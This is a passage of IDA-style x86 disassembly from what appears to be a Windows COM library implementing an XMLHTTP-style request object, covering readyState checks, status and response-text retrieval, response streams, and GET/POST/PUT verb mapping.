		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B5DE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B5DE:				; CODE XREF: sub_69B7B4AF+127j
		mov	[edi], ebx
		lea	edi, [esi+0C0h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B5F2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B5F2:				; CODE XREF: sub_69B7B4AF+13Bj
		add	esi, 0BCh
		mov	eax, [esi]
		cmp	eax, ebx
		mov	[edi], ebx
		pop	edi
		jz	short loc_69B7B607
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B607:				; CODE XREF: sub_69B7B4AF+150j
		mov	[esi], ebx
		pop	esi
		pop	ebx
		retn
sub_69B7B4AF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B7DC7B


loc_69B7B60C:				; CODE XREF: sub_69B7DC7B+5j
					; .text:69B7DC8Aj ...
		push	14h
		push	offset dword_69B7B7A0
		call	sub_69B19C5C
		and	dword ptr [ebp-1Ch], 0
		and	dword ptr [ebp-4], 0
		push	4
		pop	edx
		mov	ecx, edx
		mov	edi, offset stru_69B1CA6C
		mov	eax, [ebp+0Ch]
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B645
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+10h]
		call	sub_69B17320
		jmp	loc_69B7B78D
; ---------------------------------------------------------------------------


loc_69B7B645:				; CODE XREF: sub_69B7DC7B-2648j
		mov	ecx, edx
		mov	edi, offset dword_69B2B0C0
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B67C
		mov	eax, [ebp+8]
		mov	ecx, [eax+0B4h]
		mov	[ebp-20h], ecx
		push	ecx
		push	eax
		call	sub_69B8A09C
		mov	ecx, eax
		add	eax, 4
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	eax, [ebp+10h]
		mov	[eax], ecx
		jmp	loc_69B7B78D
; ---------------------------------------------------------------------------


loc_69B7B67C:				; CODE XREF: sub_69B7DC7B-2629j
		mov	ecx, edx
		mov	edi, offset dword_69B2B110
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B6A8
		mov	eax, [ebp+8]
		mov	ecx, [eax+0B4h]
		mov	[ebp-24h], ecx
		push	ecx
		push	eax
		call	sub_69B8A09C
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		jmp	loc_69B7B78D
; ---------------------------------------------------------------------------


loc_69B7B6A8:				; CODE XREF: sub_69B7DC7B-25F2j
		mov	ecx, edx
		mov	edi, offset dword_69B2AF20
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B6CF
		mov	eax, [ebp+8]
		mov	ecx, eax
		add	eax, 24h


loc_69B7B6BF:				; CODE XREF: sub_69B7DC7B-2595j
					; sub_69B7DC7B-257Cj ...
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	eax, [ebp+10h]
		mov	[eax], ecx
		jmp	loc_69B7B75C
; ---------------------------------------------------------------------------


loc_69B7B6CF:				; CODE XREF: sub_69B7DC7B-25C6j
		mov	ecx, edx
		mov	edi, offset dword_69B2AF80
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B6E8
		mov	eax, [ebp+8]
		mov	ecx, eax
		add	eax, 28h
		jmp	short loc_69B7B6BF
; ---------------------------------------------------------------------------


loc_69B7B6E8:				; CODE XREF: sub_69B7DC7B-259Fj
		mov	ecx, edx
		mov	edi, offset dword_69B2AF30
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B701
		mov	eax, [ebp+8]
		mov	ecx, eax
		add	eax, 2Ch
		jmp	short loc_69B7B6BF
; ---------------------------------------------------------------------------


loc_69B7B701:				; CODE XREF: sub_69B7DC7B-2586j
		mov	ecx, edx
		mov	edi, offset dword_69B2AF90
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B71A
		mov	eax, [ebp+8]
		mov	ecx, eax
		add	eax, 30h
		jmp	short loc_69B7B6BF
; ---------------------------------------------------------------------------


loc_69B7B71A:				; CODE XREF: sub_69B7DC7B-256Dj
		mov	ecx, edx
		mov	edi, offset dword_69B2B040
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7B733
		mov	eax, [ebp+8]
		mov	ecx, eax
		add	eax, 38h
		jmp	short loc_69B7B6BF
; ---------------------------------------------------------------------------


loc_69B7B733:				; CODE XREF: sub_69B7DC7B-2554j
		mov	ecx, edx
		mov	edi, offset dword_69B2AF60
		mov	esi, eax
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B7B74F
		mov	eax, [ebp+8]
		mov	ecx, eax
		add	eax, 34h
		jmp	loc_69B7B6BF
; ---------------------------------------------------------------------------


loc_69B7B74F:				; CODE XREF: sub_69B7DC7B-253Bj
		mov	eax, [ebp+10h]
		and	dword ptr [eax], 0
		mov	dword ptr [ebp-1Ch], 80004002h


loc_69B7B75C:				; CODE XREF: sub_69B7DC7B-25B1j
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_69B7B78D
		mov	eax, [eax]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short loc_69B7B78D
; END OF FUNCTION CHUNK	FOR sub_69B7DC7B

; =============== S U B	R O U T	I N E =======================================



sub_69B7B76C	proc near		; DATA XREF: .text:69B7B7A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B7B76C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B775	proc near		; DATA XREF: .text:69B7B7A8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-1Ch], eax
sub_69B7B775	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_69B7DC7B


loc_69B7B78D:				; CODE XREF: sub_69B7DC7B-263Bj
					; sub_69B7DC7B-2604j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B7DC7B
; ---------------------------------------------------------------------------
		align 10h
dword_69B7B7A0	dd 0FFFFFFFFh			dd offset sub_69B7B76C
		dd offset sub_69B7B775

; =============== S U B	R O U T	I N E =======================================



sub_69B7B7AC	proc near		; CODE XREF: sub_69B7D68D+143p
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+18h], ebx
		jnz	short loc_69B7B7BF
		lea	ecx, [esi+0Ch]
		call	sub_69B8A014


loc_69B7B7BF:				; CODE XREF: sub_69B7B7AC+9j
		mov	eax, [esi+18h]
		cmp	eax, ebx
		jz	short loc_69B7B7F8
		mov	ecx, [eax+0Ch]
		push	edi
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B7B7E1
		mov	ebx, 8007000Eh
		jmp	short loc_69B7B7F7
; ---------------------------------------------------------------------------


loc_69B7B7E1:				; CODE XREF: sub_69B7B7AC+2Cj
		push	ebx		; int
		push	edi		; int
		push	dword ptr [esi+94h] ; lpszUrl
		call	sub_69B39C17
		push	edi		; BSTR
		mov	ebx, eax
		call	SysFreeString


loc_69B7B7F7:				; CODE XREF: sub_69B7B7AC+33j
		pop	edi


loc_69B7B7F8:				; CODE XREF: sub_69B7B7AC+18j
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B7B7AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B7FD	proc near		; DATA XREF: .text:69B145D8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	dword ptr [esi+44h], 0
		jz	short loc_69B7B815
		mov	eax, [esi+44h]
		mov	ecx, [eax]
		push	0
		push	0
		push	eax
		call	dword ptr [ecx+14h]


loc_69B7B815:				; CODE XREF: sub_69B7B7FD+9j
		lea	eax, [esi+0BCh]
		cmp	dword ptr [eax], 0
		jz	short loc_69B7B82B
		mov	eax, [eax]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+100h]


loc_69B7B82B:				; CODE XREF: sub_69B7B7FD+21j
		mov	ecx, esi
		call	sub_69B7B4AF
		xor	eax, eax
		pop	esi
		retn	4
sub_69B7B7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7B838	proc near		; DATA XREF: .text:69B145E4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		mov	[ebp+var_4], edi
		jnz	short loc_69B7B855
		mov	edi, 80070057h
		jmp	short loc_69B7B882
; ---------------------------------------------------------------------------


loc_69B7B855:				; CODE XREF: sub_69B7B838+14j
		cmp	dword ptr [ebx+3Ch], 5
		jge	short loc_69B7B862
		mov	edi, 80004005h
		jmp	short loc_69B7B882
; ---------------------------------------------------------------------------


loc_69B7B862:				; CODE XREF: sub_69B7B838+21j
		mov	eax, [ebx+68h]
		cmp	eax, edi
		jz	short loc_69B7B86C
		push	eax
		jmp	short loc_69B7B871
; ---------------------------------------------------------------------------


loc_69B7B86C:				; CODE XREF: sub_69B7B838+2Fj
		push	offset word_69B26224 ; OLECHAR *


loc_69B7B871:				; CODE XREF: sub_69B7B838+32j
		call	SysAllocString
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_69B7B885
		mov	edi, 8007000Eh


loc_69B7B882:				; CODE XREF: sub_69B7B838+1Bj
					; sub_69B7B838+28j
		mov	[ebp+var_4], edi


loc_69B7B885:				; CODE XREF: sub_69B7B838+43j
		push	[ebp+var_4]
		mov	ecx, ebx
		push	edi
		call	sub_69B7B3C8
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B7B838	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B899	proc near		; DATA XREF: .text:69B145DCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi
		test	edx, edx
		jnz	short loc_69B7B8B2
		mov	esi, 80070057h
		jmp	short loc_69B7B8BD
; ---------------------------------------------------------------------------


loc_69B7B8B2:				; CODE XREF: sub_69B7B899+10j
		cmp	dword ptr [ecx+3Ch], 5
		jge	short loc_69B7B8C1
		mov	esi, 80004005h


loc_69B7B8BD:				; CODE XREF: sub_69B7B899+17j
		mov	edi, esi
		jmp	short loc_69B7B8CD
; ---------------------------------------------------------------------------


loc_69B7B8C1:				; CODE XREF: sub_69B7B899+1Dj
		mov	eax, [ecx+54h]
		test	eax, eax
		jnz	short loc_69B7B8CB
		mov	eax, [ecx+5Ch]


loc_69B7B8CB:				; CODE XREF: sub_69B7B899+2Dj
		mov	[edx], eax


loc_69B7B8CD:				; CODE XREF: sub_69B7B899+26j
		push	edi
		push	esi
		call	sub_69B7B3C8
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B7B899	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7B8DB	proc near		; DATA XREF: .text:69B145E0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		jnz	short loc_69B7B8F8
		mov	ebx, 80070057h
		jmp	short loc_69B7B905
; ---------------------------------------------------------------------------


loc_69B7B8F8:				; CODE XREF: sub_69B7B8DB+14j
		mov	[esi], ebx
		cmp	dword ptr [edi+3Ch], 5
		jge	short loc_69B7B90A
		mov	ebx, 80004005h


loc_69B7B905:				; CODE XREF: sub_69B7B8DB+1Bj
		mov	[ebp+var_4], ebx
		jmp	short loc_69B7B921
; ---------------------------------------------------------------------------


loc_69B7B90A:				; CODE XREF: sub_69B7B8DB+23j
		mov	eax, [edi+78h]
		cmp	eax, ebx
		jz	short loc_69B7B914
		push	eax
		jmp	short loc_69B7B919
; ---------------------------------------------------------------------------


loc_69B7B914:				; CODE XREF: sub_69B7B8DB+34j
		push	offset aUnknown_0 ; "Unknown"


loc_69B7B919:				; CODE XREF: sub_69B7B8DB+37j
		call	SysAllocString
		mov	[esi], eax


loc_69B7B921:				; CODE XREF: sub_69B7B8DB+2Dj
		push	[ebp+var_4]
		mov	ecx, edi
		push	ebx
		call	sub_69B7B3C8
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_69B7B8DB	endp

; ---------------------------------------------------------------------------
		align 4
; OLECHAR aUnknown_0
aUnknown_0:				; DATA XREF: sub_69B7B8DB:loc_69B7B914o
		unicode	0, <Unknown>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7B948	proc near		; DATA XREF: .text:69B145F8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_69B7B965
		mov	eax, 80070057h
		mov	ebx, eax
		mov	[ebp+var_4], eax
		jmp	short loc_69B7B9A5
; ---------------------------------------------------------------------------


loc_69B7B965:				; CODE XREF: sub_69B7B948+Fj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		cmp	edx, ebx
		jle	short loc_69B7B9A3
		cmp	edx, 2
		jle	short loc_69B7B99B
		cmp	edx, 3
		jz	short loc_69B7B993
		cmp	edx, 4
		jz	short loc_69B7B98B
		cmp	edx, 5
		jnz	short loc_69B7B9A3
		mov	dword ptr [eax], 4
		jmp	short loc_69B7B9A5
; ---------------------------------------------------------------------------


loc_69B7B98B:				; CODE XREF: sub_69B7B948+34j
		mov	dword ptr [eax], 3
		jmp	short loc_69B7B9A5
; ---------------------------------------------------------------------------


loc_69B7B993:				; CODE XREF: sub_69B7B948+2Fj
		mov	dword ptr [eax], 2
		jmp	short loc_69B7B9A5
; ---------------------------------------------------------------------------


loc_69B7B99B:				; CODE XREF: sub_69B7B948+2Aj
		mov	dword ptr [eax], 1
		jmp	short loc_69B7B9A5
; ---------------------------------------------------------------------------


loc_69B7B9A3:				; CODE XREF: sub_69B7B948+25j
					; sub_69B7B948+39j
		mov	[eax], ebx


loc_69B7B9A5:				; CODE XREF: sub_69B7B948+1Bj
					; sub_69B7B948+41j ...
		push	[ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		call	sub_69B7B3C8
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_69B7B948	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B9B8	proc near		; DATA XREF: .text:69B145E8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	ebx
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		cmp	ecx, ebx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_69B7B9D2
		mov	esi, 80070057h
		jmp	short loc_69B7B9FE
; ---------------------------------------------------------------------------


loc_69B7B9D2:				; CODE XREF: sub_69B7B9B8+11j
		cmp	dword ptr [edi+3Ch], 1
		jge	short loc_69B7B9DF
		mov	esi, 80004005h
		jmp	short loc_69B7B9FE
; ---------------------------------------------------------------------------


loc_69B7B9DF:				; CODE XREF: sub_69B7B9B8+1Ej
		lea	eax, [edi+0BCh]
		mov	[ecx], ebx
		cmp	[eax], ebx
		jz	short loc_69B7BA00
		mov	eax, [eax]
		mov	edx, [eax]
		push	ecx
		push	offset dword_69B2AFE0
		push	eax
		call	dword ptr [edx]
		mov	esi, eax
		cmp	esi, ebx
		jge	short loc_69B7BA00


loc_69B7B9FE:				; CODE XREF: sub_69B7B9B8+18j
					; sub_69B7B9B8+25j
		mov	ebx, esi


loc_69B7BA00:				; CODE XREF: sub_69B7B9B8+31j
					; sub_69B7B9B8+44j
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_69B7B3C8
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B7B9B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7BA11(int, VARIANTARG *pvarg)

sub_69B7BA11	proc near		; DATA XREF: .text:69B145F0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
pvarg		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+pvarg]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_4], edi
		jnz	short loc_69B7BA2E
		mov	edi, 80070057h
		jmp	short loc_69B7BA77
; ---------------------------------------------------------------------------


loc_69B7BA2E:				; CODE XREF: sub_69B7BA11+14j
		cmp	dword ptr [esi+3Ch], 5
		jz	short loc_69B7BA4C
		mov	al, [esi+0B2h]
		neg	al
		sbb	eax, eax
		and	eax, 0FFFFC005h
		add	eax, 80004005h
		mov	edi, eax
		jmp	short loc_69B7BA70
; ---------------------------------------------------------------------------


loc_69B7BA4C:				; CODE XREF: sub_69B7BA11+21j
		push	ebx		; pvarg
		call	VariantInit
		mov	eax, [esi+0A0h]
		test	eax, eax
		jz	short loc_69B7BA7C
		push	dword ptr [esi+0A8h] ; cElements
		push	eax		; int
		push	ebx		; int
		call	sub_69B2FC8D
		mov	edi, eax
		test	edi, edi
		jge	short loc_69B7BA80


loc_69B7BA70:				; CODE XREF: sub_69B7BA11+39j
		push	ebx		; pvarg
		call	VariantClear


loc_69B7BA77:				; CODE XREF: sub_69B7BA11+1Bj
		mov	[ebp+var_4], edi
		jmp	short loc_69B7BA80
; ---------------------------------------------------------------------------


loc_69B7BA7C:				; CODE XREF: sub_69B7BA11+4Aj
		and	word ptr [ebx],	0


loc_69B7BA80:				; CODE XREF: sub_69B7BA11+5Dj
					; sub_69B7BA11+69j
		push	[ebp+var_4]
		mov	ecx, esi
		push	edi
		call	sub_69B7B3C8
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B7BA11	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7BA94	proc near		; DATA XREF: .text:69B145ECo
		push	2Ch
		push	offset dword_69B7BC10
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B7BAB9
		mov	eax, 80004005h
		jmp	loc_69B7BC08
; ---------------------------------------------------------------------------


loc_69B7BAB9:				; CODE XREF: sub_69B7BA94+19j
		push	esi
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-2Ch], esi
		mov	[ebp-30h], esi
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	edi, [ebp+0Ch]
		mov	ebx, [ebp+8]
		cmp	edi, esi
		jnz	short loc_69B7BAE3
		mov	esi, 80070057h
		jmp	loc_69B7BB93
; ---------------------------------------------------------------------------


loc_69B7BAE3:				; CODE XREF: sub_69B7BA94+43j
		cmp	dword ptr [ebx+3Ch], 5
		jz	short loc_69B7BB04
		mov	al, [ebx+0B2h]
		neg	al
		sbb	eax, eax
		and	eax, 0FFFFC005h
		add	eax, 80004005h
		mov	esi, eax
		jmp	loc_69B7BB93
; ---------------------------------------------------------------------------


loc_69B7BB04:				; CODE XREF: sub_69B7BA94+53j
		lea	eax, [ebp-34h]
		push	eax		; ppstm
		mov	ecx, ebx
		call	sub_69B7AFDD
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B7BB93
		cmp	dword ptr [ebx+0A8h], 0
		jbe	loc_69B7BBA8
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp-34h]
		call	sub_69B36811
		mov	[ebp-30h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B7BB5B
; ---------------------------------------------------------------------------


loc_69B7BB37:				; DATA XREF: .text:69B7BC14o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7BB40:				; DATA XREF: .text:69B7BC18o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp+8]
		mov	edi, [ebp+0Ch]


loc_69B7BB5B:				; CODE XREF: sub_69B7BA94+A1j
		test	esi, esi
		jnz	short loc_69B7BB93
		lea	esi, [ebx+0ACh]
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B7BB7D
		push	eax
		call	sub_69B84C68
		pop	ecx
		push	eax
		push	dword ptr [esi]
		mov	ecx, [ebp-30h]
		call	sub_69B36338


loc_69B7BB7D:				; CODE XREF: sub_69B7BA94+D5j
		push	dword ptr [ebp-30h]
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		call	sub_69B7AE8C
		mov	esi, eax
		test	esi, esi
		jge	short loc_69B7BB98


loc_69B7BB93:				; CODE XREF: sub_69B7BA94+4Aj
					; sub_69B7BA94+6Bj ...
		mov	[ebp-2Ch], esi
		jmp	short loc_69B7BBBE
; ---------------------------------------------------------------------------


loc_69B7BB98:				; CODE XREF: sub_69B7BA94+FDj
		mov	ecx, [ebp-3Ch]
		shr	ecx, 1
		mov	eax, [ebp-38h]
		and	word ptr [eax+ecx*2], 0
		push	eax
		jmp	short loc_69B7BBAD
; ---------------------------------------------------------------------------


loc_69B7BBA8:				; CODE XREF: sub_69B7BA94+88j
		push	offset word_69B26224 ; OLECHAR *


loc_69B7BBAD:				; CODE XREF: sub_69B7BA94+112j
		call	SysAllocString
		mov	[edi], eax
		test	eax, eax
		jnz	short loc_69B7BBBE
		mov	esi, 8007000Eh


loc_69B7BBBE:				; CODE XREF: sub_69B7BA94+102j
					; sub_69B7BA94+123j
		cmp	dword ptr [ebp-38h], 0
		jz	short loc_69B7BBCC
		push	dword ptr [ebp-38h]
		call	sub_69B1B2B7


loc_69B7BBCC:				; CODE XREF: sub_69B7BA94+12Ej
		mov	eax, [ebp-30h]
		test	eax, eax
		jz	short loc_69B7BBD9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7BBD9:				; CODE XREF: sub_69B7BA94+13Dj
		mov	eax, [ebp-34h]
		test	eax, eax
		jz	short loc_69B7BBE6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7BBE6:				; CODE XREF: sub_69B7BA94+14Aj
		and	dword ptr [ebp-34h], 0
		push	dword ptr [ebp-2Ch]
		push	esi
		mov	ecx, ebx
		call	sub_69B7B3C8
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B7BC08:				; CODE XREF: sub_69B7BA94+20j
		call	sub_69B1853C
		retn	8
sub_69B7BA94	endp

; ---------------------------------------------------------------------------
dword_69B7BC10	dd 0FFFFFFFFh			dd offset loc_69B7BB37
		dd offset loc_69B7BB40

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7BC1C(int, VARIANTARG *pvarg)

sub_69B7BC1C	proc near		; DATA XREF: .text:69B145F4o

var_8		= dword	ptr -8
ppstm		= dword	ptr -4
arg_0		= dword	ptr  8
pvarg		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+ppstm], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, [ebp+pvarg]
		test	edi, edi
		jnz	short loc_69B7BC3D
		mov	esi, 80070057h
		jmp	short loc_69B7BC7A
; ---------------------------------------------------------------------------


loc_69B7BC3D:				; CODE XREF: sub_69B7BC1C+18j
		cmp	dword ptr [ebx+3Ch], 5
		jz	short loc_69B7BC5B
		mov	al, [ebx+0B2h]
		neg	al
		sbb	eax, eax
		and	eax, 0FFFFC005h
		add	eax, 80004005h
		mov	esi, eax
		jmp	short loc_69B7BC73
; ---------------------------------------------------------------------------


loc_69B7BC5B:				; CODE XREF: sub_69B7BC1C+25j
		push	edi		; pvarg
		call	VariantInit
		lea	eax, [ebp+ppstm]
		push	eax		; ppstm
		mov	ecx, ebx
		call	sub_69B7AFDD
		mov	esi, eax
		test	esi, esi
		jge	short loc_69B7BC7F


loc_69B7BC73:				; CODE XREF: sub_69B7BC1C+3Dj
		push	edi		; pvarg
		call	VariantClear


loc_69B7BC7A:				; CODE XREF: sub_69B7BC1C+1Fj
		mov	[ebp+var_8], esi
		jmp	short loc_69B7BC8A
; ---------------------------------------------------------------------------


loc_69B7BC7F:				; CODE XREF: sub_69B7BC1C+55j
		mov	eax, [ebp+ppstm]
		mov	word ptr [edi],	0Dh
		mov	[edi+8], eax


loc_69B7BC8A:				; CODE XREF: sub_69B7BC1C+61j
		push	[ebp+var_8]
		mov	ecx, ebx
		push	esi
		call	sub_69B7B3C8
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B7BC1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7BC9E	proc near		; DATA XREF: .text:69B2A608o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+24h]
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_8]
		or	eax, 100000h
		mov	[ecx], eax
		mov	ecx, [esi]
		mov	[ebp+arg_0], ecx
		push	edi
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		mov	edi, esi
		rep stosd
		push	3
		mov	ecx, edx
		pop	edx
		and	ecx, edx
		rep stosb
		mov	eax, [ebp+arg_0]
		or	byte ptr [esi+26h], 80h
		push	offset aGet	; "GET"
		mov	[esi], eax
		mov	[esi+14h], edx
		push	dword ptr [ebx+54h]
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B7BCF7
		and	[esi+18h], eax
		jmp	short loc_69B7BD66
; ---------------------------------------------------------------------------


loc_69B7BCF7:				; CODE XREF: sub_69B7BC9E+52j
		push	offset aPost	; "POST"
		push	dword ptr [ebx+54h]
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B7BD17
		mov	eax, [ebp+arg_4]
		mov	dword ptr [esi+18h], 1
		or	dword ptr [eax], 20h
		jmp	short loc_69B7BD66
; ---------------------------------------------------------------------------


loc_69B7BD17:				; CODE XREF: sub_69B7BC9E+68j
		push	offset aPut	; "PUT"
		push	dword ptr [ebx+54h]
		call	sub_69B2ED17
		test	eax, eax
		jnz	short loc_69B7BD31
		mov	dword ptr [esi+18h], 2
		jmp	short loc_69B7BD66
; ---------------------------------------------------------------------------


loc_69B7BD31:				; CODE XREF: sub_69B7BC9E+88j
		push	dword ptr [ebx+54h]
		call	sub_69B84C68
		pop	ecx
		lea	edi, [eax+eax+2]
		push	edi		; cb
		call	ds:CoTaskMemAlloc
		test	eax, eax
		mov	[esi+1Ch], eax
		jnz	short loc_69B7BD55
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B7BDA4
; ---------------------------------------------------------------------------


loc_69B7BD55:				; CODE XREF: sub_69B7BC9E+ACj
		push	dword ptr [ebx+54h]
		push	edi
		push	eax
		call	sub_69B7B48A
		mov	dword ptr [esi+18h], 3


loc_69B7BD66:				; CODE XREF: sub_69B7BC9E+57j
					; sub_69B7BC9E+77j ...
		xor	edx, edx
		cmp	[ebx+20h], edx
		jz	short loc_69B7BDA4
		cmp	[ebx+70h], edx
		jz	short loc_69B7BDA4
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	edx
		mov	dword ptr [esi+8], 4
		mov	eax, [ebx+20h]
		mov	edi, [eax]
		push	ecx
		push	eax
		call	dword ptr [edi+14h]
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B7BDA4
		mov	eax, [ebx+20h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebx+20h]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+70h]
		mov	[esi+20h], eax


loc_69B7BDA4:				; CODE XREF: sub_69B7BC9E+B5j
					; sub_69B7BC9E+CDj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B7BC9E	endp

; ---------------------------------------------------------------------------
		align 10h
aPut:					; DATA XREF: sub_69B7BC9E:loc_69B7BD17o
		unicode	0, <PUT>,0
aPost:					; DATA XREF: sub_69B7BC9E:loc_69B7BCF7o
		unicode	0, <POST>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7BDC2	proc near		; DATA XREF: .text:69B2A60Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
